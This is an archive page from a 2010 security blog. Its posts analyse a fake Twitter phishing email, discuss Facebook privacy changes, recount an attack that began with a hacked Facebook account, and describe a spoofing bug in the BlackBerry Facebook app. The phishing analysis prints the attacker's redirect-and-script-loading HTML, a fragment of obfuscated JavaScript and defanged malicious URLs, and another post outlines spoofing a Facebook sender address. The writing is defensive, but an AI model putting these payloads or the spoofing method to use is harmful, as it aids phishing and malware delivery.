Social Networking – Page 2 – The Social Media Security Podcast

Interesting New Twitter Phish Can Lead to Bad Places

Posted under Contributors, Social Networking on June 24th, 2010 by Tom

I’ve had several fake emails that initially look like they come from Twitter in my email recently. I didn’t think anything of it until several of my friends forwarded me the same type of emails. This suggests two things. One, that these emails are starting to hit a larger audience. Or two, they are targeting just my friends and I which is totally possible. Anyway, here is a quick bit of analysis of one of these emails. I found some interesting things when I investigated the website linked in the fake email. The link in this particular could have done more damage if it wasn’t for some crappy attacker code. Read on!

The Email
The following screen shot shows you what the email looks like. It seems to come from Twitter but you will notice that there are some interesting clues that tell you this isn’t real. First, the Twitter account mentioned is just the first part of the email address this was sent to. This may or may not be your Twitter ID. Second, check out the “Britney Spears home video feedback” subject line and “Antidepressants for your bed vigor” bold red in the message body. Yep. All the signs that this isn’t from Twitter. Ok, nothing to see here right?

The Link
When you look at the source of the email, the link actually goes to “hxxp://89.161.148.201/cekfcq.html”. If you do click on this link several things happen:

An HTML page is loaded which redirects you to a shady Russian software site. This site (software-oemdigital.ru) has a ton of phisy looking domains that were assigned to it since 6/11/2010. The HTML file also loads a script which runs a PHP file on another server. Let’s take a look at the response:

HTTP/1.0 200 OK
Connection: close
Content-Length: 250
Content-Type: text/html
Date: Wed, 23 Jun 2010 15:09:53 GMT
Last-Modified: Wed, 23 Jun 2010 08:30:01 GMT
Server: IdeaWebServer/v0.70

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=hxxp://software-oemdigital.ru”>
<title></title>

<html><head>
</head></html><script src=hxxp://eurolisting.net/Cgi-bin/markprint.php ></script>

The Russian software site loads as normal but something else is going on in the background from eurolisting.net and that PHP file. Here is the response:

HTTP/1.1 200 OK
Connection: close
Date: Wed, 23 Jun 2010 17:46:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=1287414902; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/javascript

// <script>
function cxx(wcH){return wcH.replace(/%/g,”).replace(/[‘ow:Y]/g,fUp)}
cPH7j=’d:6fcY75meY6et.Y77rio74w65(Y22o3cdiv stylew3d:5cY22pw6fsitio6fnY3aaw62so6fl:75o74Y65o3b lefto3a:2d1000pxY3bw20tY6fp:3aw2d10w300pxw3bo5cw22:3ew22Y29w3b:66unctiY6fn :6973(a)o7bdY6fcu:6deY6et.w77rw69te(:22:3cifrao6d:65w20srcw3do5co22httw70Y3ao2f <SNIP>

All of the stuff following the script tag is obfuscated JavaScript. I cut most of it out as it is quite lengthy. Running this through jsunpack (a JavaScript unpacker) the script tries to load several things including some VBScript that seems to check for system properties, if you are running Firefox and if you have Java and/or Flash enabled as well as what seems to be a check for Adobe Reader plug-ins. You can check out the script and the unpacked version over at the jsunpack site.

Now this is where it gets interesting. In Internet Explorer the PHP file seems to generate a request to a URI that doesn’t exist: hxxp://89.161.148.201/zzz/ttt/ad3740b4.class, it 404′s. You can also see this in the Wireshark capture below:

In Firefox it’s a different story. The Russian software site still loads and something else attempts to get requested:

hxxp://wiki.insuranceplanningaz.com/main.php?h=89.161.148.201&i=JcmridQaq/ykgRj4UMpOy5Ec&e=4

This site will lead to some fun “fake AV” which prompts you to download a “setup.exe” file.

You probably don’t want to run that file. The good news is that if you have the latest version of Firefox it will note this as a reported web forgery and tries to prevent you from going there. One problem I see is that if you are running an older version of Firefox you might not get this notification. I haven’t tested this with other browsers but your results may vary.

What does this all mean? Well of course don’t click on shady emails like this. You know better right? Also, don’t think that because you use Firefox you are safe from attacks like these! Attackers are catching on and I would suspect we will see more attacks targeting multiple browsers besides IE. Wait, too late isn’t it? Special thanks to Greg and Tyler for providing intel about these domains and some of the analysis.

Share and Enjoy

• Facebook • Twitter • Delicious • Digg • StumbleUpon • Add to favorites • Email • RSS

My Thoughts on the New Facebook Privacy Controls

Posted under Contributors, Social Networking on May 27th, 2010 by Tom

Ever since I started the Facebook Privacy & Security Guide back in October 2008 I knew that Facebook’s privacy settings were confusing for the average user. Many of my concerns back then centered around friends and family that had no idea there were even privacy settings to configure on Facebook. It has also never been in Facebook’s financial interest to *really* show you how to protect the information you post. These are all reasons was why I started the guide and hopefully over the last few years it has helped spread some awareness on how to control the information you post a little better. Working on the guide has been frustrating at times because Facebook would make settings more confusing, remove settings that were useful and then bring them back again in some other form. In the latest versions of the guide I often wondered how I was going to fit all the settings and their explanations into a two-sided handout. The handout format has always been important to me so it could be easily distributed.

Jumping forward to today we see yet another iteration of these settings. I don’t have the settings on my Facebook account yet so I haven’t updated the guide but I have read some of the information already out there. The EFF has a good post up about the new settings. They even have a YouTube video showing you the changes and their recommendations. The other post you should read is one by theharmonyguy who, as always, has very good analysis of these settings and Facebook overall.

My thoughts are pretty much along the same lines as the EFF and others. However, I will say that no matter what changes Facebook makes to their privacy settings they *will* find ways to use your information to make money. This is Mark Zuckerberg’s business model and that won’t change anytime soon. I will leave you with a fantastic quote that I think sums up all the media drama leading up to these new privacy controls. This is a quote from Bruce Schneier. It’s from an article he did for Forbes regarding statements that “Privacy is Dead”:

“It’s just not true. People, including the younger generation, still care about privacy. Yes, they’re far more public on the Internet than their parents: writing personal details on Facebook, posting embarrassing photos on Flickr and having intimate conversations on Twitter. But they take steps to protect their privacy and vociferously complain when they feel it violated. They’re not technically sophisticated about privacy and make mistakes all the time, but that’s mostly the fault of companies and Web sites that try to manipulate them for financial gain.”

Share and Enjoy

• Facebook • Twitter • Delicious • Digg • StumbleUpon • Add to favorites • Email • RSS

Users Bamboozled and Policies Eroded – Is Facebook still the valuable tool you thought it was?

Posted under Facebook, Privacy, Social Media, Social Networking on May 9th, 2010 by Scott Wright

Geek level: Very Low. Editorial observations and deep, introspective questions…

I just wanted to give props to some folks who are really getting the impact of the changes to Facebook privacy policies and settings, and trying to get the message across in different ways.

Facebook privacy settings are getting so complicated, few people seem to know the implications. And as a result, most don’t bother changing them. For those of you who remember what it was like to try to program a VCR back in the 1980’s and 90’s, what goes around comes around. The comparison is scary, as tweeted by Robert Nunez and Tom Watson – “Facebook privacy settings are the new programming your VCR”

(See http://www.preoccupations.org/2010/05/facebook-2010.html )

I heard about this observation while listening to This Week in Google (at http://www.twit.tv), when Jeff Jarvis mentioned it. Leo Laporte then added, “It’s like we’re all on flashing 12:00’s” (If you don’t remember, it’s sort of like having a digital clock that loses power and forgets what time it is.) For the old VCRs, you had to go in and reset the time, then you had to set the channels and times you want to record. It was so complicated, many people just left them with the flashing 12:00’s. I can relate to that, along with many others I’ve heard from, regarding Facebook’s increasingly convoluted privacy settings.

Facebook just seems to want people to give up on protecting their privacy. To paraphrase Jarvis, it seems strange that instead of leveraging the trust of its 400 million users, and taking the opportunity to establish itself as the “protectors” of our identities on the Net, Facebook is carelessly exploiting that trust to its fullest extent for short term profit. Too bad for them, and for all of us.

Also in that same episode of TWIG, Jeff Jarvis referred to the Electronic Freedom Foundation’s (EFF) timeline of Facebook privacy policies over the years. It’s interesting to see how convoluted it’s become since their first privacy statement in 2005, which read:

No personal information that you submit to Thefacebook will be available to any user of the Web Site who does not belong to at least one of the groups specified by you in your privacy settings.

(from http://www.eff.org/deeplinks/2010/04/facebook-timeline )

Now, as of April 2010, the policy reads…

When you connect with an application or website it will have access to General Information about you. The term General Information includes your and your friends’ names, profile pictures, gender, user IDs, connections and any content shared using the Everyone privacy setting. … The default privacy setting for certain types of information you post on Facebook is set to “everyone.” … Because it takes two to connect, your privacy settings only control who can see the connection on your profile page. If you are uncomfortable with the connection being publicly available, you should consider removing (or not making) the connection.

So, did you know this? Or have you quit Facebook – for good, or in protest – due to these moves? Or will it take one more move toward the cliff?

Not surprisingly, I don’t use Facebook for anything very personal. The stuff I put there is all pretty boring, say my friends. But if you joined a long time ago and have a significant amount of personal information in Facebook, you might want to read today’s Facebook privacy policies and consider how likely it is that what you thought was protected (by the default settings at the time you joined) may inevitably become public at some point.

Today’s trending topics might as well be “Facebook privacy settings changed” and “Facebook privacy policies changed“. So, if you still feel that privacy represents a fundamental personal value, we’d all like to know, “What value does Facebook continue to bring you as a tool, and is it worth the cost?”

Privacy and Security of Open Graph, Social Plugins and Instant Personalization on Facebook

Posted under Contributors, Social Networking on April 23rd, 2010 by Tom

As most major news organizations and blogs have covered the changes that Facebook has made from a high level, I wanted to focus this post specifically on Facebook’s “Open Graph”, “Social Plugins” and “Instant Personalization”. In my opinion, these are three changes that will significantly impact the way you and your friends use Facebook. As I usually do, I will provide a point of view from the eyes of an attacker. As we all know, its only a matter of time before these new features begin to be abused by attackers.

Open Graph
The first significant change is Facebook’s “Open Graph”. Open Graph is a significant departure from Facebook’s previous data connection strategy which used to be centered around Facebook Connect. All of that is gone and replaced with Open Graph. Open Graph basically allows partner websites and Facebook applications to share your public information and the public information of your friends with each other. The other big change which is a departure from Facebook Connect is that developers can hold your data indefinitely. The requirement was previously only for 24 hours (and we all know developers weren’t really holding to that anyway).

What’s also interesting is that Facebook has implemented an API called the Graph API. The Graphs API is how developers can easily integrate their applications with this new stream of user data. In fact, now you don’t even need a Facebook account to search the Open Graph. For example, https://graph.facebook.com/search?q=facebook&type=post will show you 25 recent status updates. Note that these status updates are set to Everyone and it seems that Facebook has put a limit on data you can retrieve with one query (this will change most likely or you can figure out ways around this). Before you had to log in to Facebook to do a search or use some creative Google queries for this information. This is good news for attackers, spammers and data miners. Facebook has made publicly available information even easier to search for and in my opinion, is going to start competing with Google for personalized search results. Stay tuned, Open Graph is going to be a huge area that I will be focusing my research on. As a penetration tester, my job just got easier. Thanks Facebook!

Social Plugins
Social plugins are small bits of code (the “Like” button for example) that you probably have been seeing all over the web. What Facebook has done is added simple plugins that web site developers can easily integrate. Also note that there are many more plugins available besides the “Like” button. Simply run the wizard, fill in a few lines and you’re done. Lets take the “Like” button as an example. If you are signed into Facebook (or not) you will see the button just like you do on Mashable:

Clicking on the button while you are signed in to Facebook posts a notice to your news feed that you like Mashable. The button also works when you are not logged into Facebook by prompting you to sign in. This is similar to how Facebook Connect worked. If you want to “unlike” the page, simply click the “Like” button again. Already, someone has found a potential security problem with the “Like” button that could possibly be abused by spammers. Keep in mind that these social plugins are part of Facebook’s strategy to take over the world integrate their Open Graph protocol. Once Open Graph starts to be more popular, you will see lots more attacks leveraging these new plugins.

Instant Personalization
Lastly, we have “Instant Personalization”. Instant Personalization is the feature in which Facebook has “pre-approved” third-party web sites to gain access to your public information just by visiting them. There is very little information available currently on how Facebook approves third-party sites. Once you allow these sites full authorization, they have the same access that any developer would have to your Facebook information. For example, here is what it looks like when you surf to Yelp. You will get a pretty blue bar that shows up at the top of your browser window:

You should notice that you have the option to “Learn More” or say “No, thanks”. You will also notice how instantly, if any of your friends on Facebook are using Yelp you can see any of their activity just below the blue bar.

Now something interesting happens once you visit one of these pre-approved sites. I noticed that a Facebook application (in this case Yelp) gets installed and allows it permissions to post. You don’t have to even click “No thanks”, the application is already installed. Pandora and Microsoft Docs work the same way. In fact, when testing the Microsoft Docs personalization I noticed the Facebook application that gets installed sets its privacy permissions to EVERYONE and allows one-line posts on your behalf. This means that anyone can see any activity that is posted by that application. Keep in mind that these controls are all being closely looked at by attackers and I suspect that we will see some hacks and/or abuse of this new personalization system soon.

Instant Personalization Privacy Settings
Facebook has put in a global “opt-out” check box in your privacy settings. Of course in typical Facebook fashion they have buried this setting so it’s hard to find. Ironically, just as I was writing this post Facebook changed the location of this setting. So now you have to go down one more level by clicking an additional button to get to the setting (see the screen shot below).

There are some very important caveats about this setting. First, this setting is enabled by default. Yes, that’s right. If you have a Facebook account this setting is checked right now and you are opted in. I had thought that Facebook would have learned from the Beacon fiasco but it appears they haven’t. Secondly, just because you “opt-out” doesn’t mean your information is safe. Just like other Facebook applications if your FRIENDS use Yelp, Pandora or Microsoft Docs these sites can still get your public information or anything else you have made available to be shared with friends. To completely opt-out you need to MANUALLY block each and every application (in this case Yelp, Pandora and MS Docs). It goes without saying, this is a huge pain and I look forward to the long list of complaints and privacy concerns regarding this psudo opt-out. The other problem is that I have already seen posts by Facebook that they already have partner sites that they are going to announce soon. What this means is that if you want to truly “opt-out” you need to keep up to date on all the new third-party partners with Facebook and manually block their applications. This is a terrible control in my opinion.

So where are these settings? Click on Account –> Privacy Settings –> Applications and Websites –> Instant Personalization (Click the Edit Settings button). In the screen shot below you can see the box that you need to uncheck.

UPDATE: Yvan Boily on Twitter had mentioned that you should also uncheck every box under “What your Friends can share about you” in your privacy settings (in my guide on SocialMediaSecurity.com this is what I recommend as well).

I will be updating my Facebook Privacy & Security Guide over on SocialMediaSecurity.com to reflect all of these changes soon. In the meantime, tell your friends on Facebook about these settings and check out a few other good articles on the recent changes. Here are three articles I recommend reading: Pros and Cons of Today’s Facebook Announcements by theharmonyguy, How to Opt Out of Facebook’s Instant Personalization (with a nice video walk-through) by the EFF and Facebook Open Graph: What it Means for Privacy by Mashable.

Share and Enjoy

• Facebook • Twitter • Delicious • Digg • StumbleUpon • Add to favorites • Email • RSS

Security pros use layered techniques, but so do attackers

Posted under Contributors, Facebook, Social Media, Social Networking on March 23rd, 2010 by Scott Wright

For many years security professionals have advocated using layered safeguards to reduce the risk of threats. While many organizations do employ multiple technologies like firewalls, anti-virus and intrusion detection to try to stop hackers, these guys are getting very good at navigating our layers of security. It’s like the old Mario and Donkey Kong video games where you had to jump over land mines, climb ladders, wait for doors to open and avoid swinging obstacles to reach the bonus prizes.

As an example of how many layers they are able to traverse, consider the reported attack on a financial institution’s enterprise network, which started life as a hacked Facebook account. (Click HERE for the full story.)

To make a long story short the attackers did the following:

They captured the Facebook credentials of an individual who worked for a financial institution
They then scanned the user’s Facebook profile to find recent social events involving co-workers on Facebook (finding a company picnic)
They then sent emails to multiple Facebook friends who were co-workers saying, “Hey, have a look at the pictures I took at the company picnic!”
The emails contained links to malicious web pages that attempted to launch a keylogger on the victims’ computers.
They then scanned the keystrokes of an employee whose laptop had become infected with the keylogger and found the authentication credentials for the corporate VPN
They infiltrated the VPN and infected a computer inside the corporate perimeter and performed vulnerability scans around the network to find servers with sensitive information on them.

The attack lasted as long as 2 weeks. If the attackers’ vulnerability scans had not been so “noisy”, they may not have been noticed, and the company could have suffered severe losses in terms of costly data breaches and corrupted databases, as well as system repairs.

So, what will happen now? Will the company add another layer of security to prevent a similar attack in the future? Probably… and these attackers will probably move on to other organizations with a bit less security. The cat and mouse game continues.

What’s interesting in this story is that the initial attack on the employees’ Facebook friends is pretty hard to defend against, since nothing seemed out of the ordinary. There really was a corporate picnic!

What would you do next if you were a security manager at this financial institution?

Facebook SPAM on BlackBerry Devices

Posted under Contributors, Social Networking on February 15th, 2010 by Tom

I always thought the Facebook Application for BlackBerry was a buggy, slow piece of junk. Now I have noticed that this application is being abused by spammers to propagate Viagra and Percocet SPAM. The screen shot to the right is an actual Facebook notification I received on my BlackBerry.

There seems to be an interesting bug in the Facebook Application for BlackBerry in which a spammer can spoof the “facebookmail.com” domain to have SPAM messages show up in your notifications list within the BlackBerry Facebook application. This only works if you have the Facebook for BlackBerry Application installed AND you have an email account configured on your BlackBerry (yes, this includes a corporate email account as well). The email account you have configured on your BlackBerry is where you actually receive the SPAM message, not through Facebook.

The Facebook Application for BlackBerry appears to notify on any new email in one of your BlackBerry mailbox’s with “*.facebookmail.com” in the sender or return-path field. This is a win for the spammer because now you think Facebook is spamming you and with the addition of an email, you’re more tempted to click on the link. The Facebook Application for BlackBerry is no stranger to controversy and this particular bug has been noticed recently by others as well. It also appears that this bug only affects the BlackBerry Facebook application. When testing the iPhone app I couldn’t replicate the issue.

To test this bug I used EXIM4 in Ubuntu as a mail relay with mailtools to send the email. This allowed me to send a spoofed email as “agent0x0@facebookmail.com” to one of the email accounts I have configured on my BlackBerry. Here are screen shots of the spoofed email in my inbox and what it looks like in the Facebook Application for BlackBerry:

My opinion is that a mobile Facebook application should never be polling your personal email for these messages…but then again this could be a “feature” of this nicely designed application, right? Special thanks to Kevin Johnson for helping with some of the research/testing.

Share and Enjoy

• Facebook • Twitter • Delicious • Digg • StumbleUpon • Add to favorites • Email • RSS

« Previous 1 2 3 4 … 7 Next »